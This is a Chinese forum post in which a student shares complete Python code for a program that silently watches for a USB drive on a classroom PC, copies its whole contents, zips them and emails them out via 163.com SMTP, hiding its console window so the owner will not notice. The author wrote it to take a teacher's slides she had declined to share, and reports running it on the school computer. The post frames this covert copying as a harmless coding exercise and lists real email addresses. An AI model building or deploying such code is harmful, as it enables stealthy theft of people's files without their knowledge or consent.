- UID
- 3808
- 精华
- 积分
- 1480
- 威望
- 点
- 宅币
- 个
- 贡献
- 次
- 宅之契约
- 份
- 最后登录
- 1970-1-1
- 在线时间
- 小时
|
本帖最后由 watermelon 于 2019-5-8 23:36 编辑
这学期核电子学课程内容非常多,并且对于大多数同学不是很容易来进行学习,一般来说我们喜欢课后用U盘拷贝老师的课件来进行课后复习或者考前突击。但是很蛋疼的是核电子学老师居然不让拷课件,她说课上认真听讲课下看书就行了,课件上的东西在课上都讲过了,这让我们大家感觉比较恼火。
所以我就想自己能不能通过Python来写一段小程序来把课件拷贝下来呢,当老师的U盘插入电脑,识别到后就先将U盘里的文件拷贝到D盘里的一个文件夹中,然后对这个文件进行压缩,以便后续发邮件使用。为什么使用Python呢,因为这段时间我有要用到Python来做课程设计的科学计算了,小白写一个简单的程序而又使其功能强大,这个时候绝对可以考虑脚本语言例如Python!
下面讨论一下这段程序怎么进行编制呢?
1.首先主要功能是识别U盘插入并且对U盘中的文件进行拷贝:我对于识别U盘的是否插入处理的比较简单,一般电脑都是有3个盘(C: D: E:),那么U盘插入到电脑上的时候就会成为F盘。我用一个死循环+break来使程序一直运行下去,在运行的过程中一直用os.path.exists('F:')方法对电脑进行查询是否有F盘。如果有F盘,则说明U盘已经插入,进行后续的处理;否则表示U盘还没有插入,这个时候程序一直循环下去。由于是死循环,为了防止CPU使用率过高,适当的利用sleep函数是有必要的,并且我还根据CPU不同的使用率来适当调整sleep的时间,当CPU使用率小于25%时候,sleep0.5秒,高于25%时候睡眠1秒。拷贝U盘里的全部文件就用到了shutil.copytree方法,这个使用起来非常方便!
2.为了增强用户体验并且锻炼编程能力,我想再增加一个拷贝完成后给用户发送邮件来进行提示。具体流程是:当在D盘中拷贝完所有的文件后,对其进行压缩,以附件的形式发到指定的用户列表中,这样就可以避免下课后再拿个U盘来拷课件,老师还以为你问她问题的尴尬。发送邮件可以使用Python的smtplib库和email库,我使用的是网易邮箱来进行发送邮件,因此我的网易有想要事先开通授权码,否则会接收到“没有权限的”报错!
3.网易邮箱发送邮件附件有一个限制,就是附件大小好像不能够大于20MB(163邮箱说的最大附件可以到3G,难道是因为我没有充钱的缘故?),所以当我第一次发送打包的邮件时候写上try except,如果发送不了,就对已经从U盘中拷贝下来所有的文件中筛选文件后缀名称是.ppt和.pptx的文件,如果该后缀名结尾的文件大小大于15MB的就不要了,把剩下的所有挑选下来的PPT打成压缩包进行附件的发送,此时就有比较大的几率发送成功了,但是如果还是发送不成功就给用户发送一封致歉信并且说明让用户下课在老师走后去电脑上用U盘拷贝下课件。
4.为了程序的隐蔽性适当的隐藏控制台窗口使其运行(其实这个可以在pyinstaller打包时候进行参数设置),ctypes可以调用win32中的dll进行编程,也是很方便。
具体程序如下:
- #!/usr/bin/python
- # -*- coding: UTF-8 -*-
- import os
- import os.path
- import shutil
- from time import sleep
- from email.header import Header
- from email.mime.text import MIMEText
- from email.mime.base import MIMEBase
- from email.mime.multipart import MIMEMultipart
- from email import encoders
- from email.utils import parseaddr, formataddr
- import smtplib
- import psutil
- import uuid
- import ctypes
- # Copy files and zip them.
- def copy_zip():
- # Use the UUID to name a folder.
- filename = str(uuid.uuid1())
- while True:
- if os.path.exists('F:'):
- print('USB disk has been detected.')
- try:
- shutil.copytree('F:','D:\\'+filename)
- print("Files have been copied successfully.")
- break
- except Exception:
- print('Error in copy_zip function, this circle will be exited')
- break
- else:
- print("Can't detect a USB disk on the PC now")
-
- # if the usage of CPU is higher than 25%, sleep 1 seconds.
- if psutil.cpu_percent() <= 25:
- sleep(0.5) # Sleep 0.5 seconds
- else:
- sleep(1) # Sleep 1 seconds
- print('Continue searching...')
- # Build the ZIP file
- shutil.make_archive(r'D:\email','zip','D:\\',filename)
- print('ZIP file is ready.')
- return 'D:\\' + filename
- # if the size of zip is too large to email, choose the PowerPoint files to email.
- def get_ppt(filepath):
- os.chdir(filepath)
- target = ['.ppt', '.pptx']
- for each_file in os.listdir(os.curdir):
- extension = os.path.splitext(each_file)[1]
- # If single file size larger than 15MB, pass.
- if (not os.path.isdir(each_file)) and os.path.getsize(each_file)/(1024*1024) >= 15:
- continue
-
- if extension in target:
- try:
- shutil.copy(os.path.abspath(each_file), 'D:\\PPTtarget')
- except:
- pass
- if os.path.isdir(each_file):
- get_ppt(each_file)
- os.chdir(os.pardir)
-
- shutil.make_archive(r'D:\PPT', 'zip', 'D:\\','PPTtarget')
- # Sending Email with Attachments.
- def send_file(attachfile_path):
- sender = 'starlight_chou@163.com'
- access_code = '*********'
- receiver = ['2015572934@qq.com', '1483551760@qq.com']
- smtpserver = 'smtp.163.com'
- subject = 'Python coding is passion coding, yeah!'
- msg = MIMEMultipart()
- msg['Subject'] = Header(subject, 'utf-8')
- msg['From'] = sender
- msg['To'] = ','.join(receiver)
- # Add Attachment files to the Email.
- with open(attachfile_path,'rb') as f:
- mime = MIMEBase('zipfile', 'zip', filename = 'HDZXKJ.zip')
- mime.add_header('Content-Disposition', 'attachment', filename = 'HDZXKJ.zip')
- mime.add_header('Content-ID','<0>')
- mime.add_header('X-Attachment-Id', '0')
- mime.set_payload(f.read())
- encoders.encode_base64(mime)
- msg.attach(mime)
- try:
- smtp = smtplib.SMTP()
- smtp.connect(smtpserver)
- smtp.login(sender,access_code)
- smtp.sendmail(sender,msg['To'].split(','),msg.as_string())
- smtp.quit()
- print("Email has sent successfully!")
- return True
- except:
- print('Error in send_file function')
- return False
- # Because of the attachment size is larger than 20MB that
- # can't have a transform through the 163.com.
- # So send a sorry to user and let him copy the file with the USB disk.
- def send_sorry():
- sender = 'starlight_chou@163.com'
- access_code = '*********'
- receiver = ['2015572934@qq.com', '3207299524@qq.com']
- smtpserver = 'smtp.163.com'
- subject = 'Python coding is passion coding, yeah!'
- msg = MIMEText('So sorry that the file is too large to email, please copy the zip folder with your USB disk','plain','utf-8')
- msg['Subject'] = Header(subject, 'utf-8')
- msg['From'] = sender
- msg['To'] = ','.join(receiver)
-
- try:
- smtp = smtplib.SMTP()
- smtp.connect(smtpserver)
- smtp.login(sender,access_code)
- smtp.sendmail(sender,msg['To'].split(','),msg.as_string())
- smtp.quit()
- print('success')
- except:
- pass
- if __name__ == '__main__':
- print("Let's Begin!")
- sleep(2)
- # Hide the running console.
- h_console = ctypes.windll.kernel32.GetConsoleWindow()
- if h_console != 0:
- ctypes.windll.user32.ShowWindow(h_console,0)
-
- # Begin!
- filepath = copy_zip()
- if send_file('D:\\email.zip') == True:
- print('Done!')
- else:
- print("ERROR, Maybe the size of ZIP is too large to email")
- print("Please use the USB disk to copy the files")
- print("Now try to only email the PPT files in the folder")
- get_ppt(filepath)
- sleep(2)
- if send_file('D:\\PPT.zip') == False:
- send_sorry()
- print('Good Bye')
- # Release the handle of Console.
- ctypes.windll.kernel32.CloseHandle(h_console)
复制代码
由于网易邮箱的授权码属于隐私,所以小弟就打上星号了,请各位见谅。
当晚写好了程序,用pyinstaller3.4打包成exe(包含很多库文件)在我的win10(装有Python3.7)和win7 x64虚拟机上试运行都完美运行,很是满足睡觉,但是第二天去课上给电脑运行却出现了没有办法运行的情况!
当晚舍友找我要课件时候我没有就遭到了嘲讽?我百度了一些,没有实质性的解决方法,如果有大佬能够指导一下这个错误还是非常感激的!
我在电脑上下载了Python3.7的安装包,给学校的电脑装上了Python,同时用pip安装上了程序中使用到的第三方库,最终可以运行下来了,囧rz。
帖子中有很多不足欢迎各位大佬指正并且欢迎大家讨论!
参考文献:
《Python可以这样学》 董付国 清华大学出版社
Python教程-廖雪峰的官方网站:https://www.liaoxuefeng.com/wiki/1016959663602400
Python 3.7.2 documentation
|
|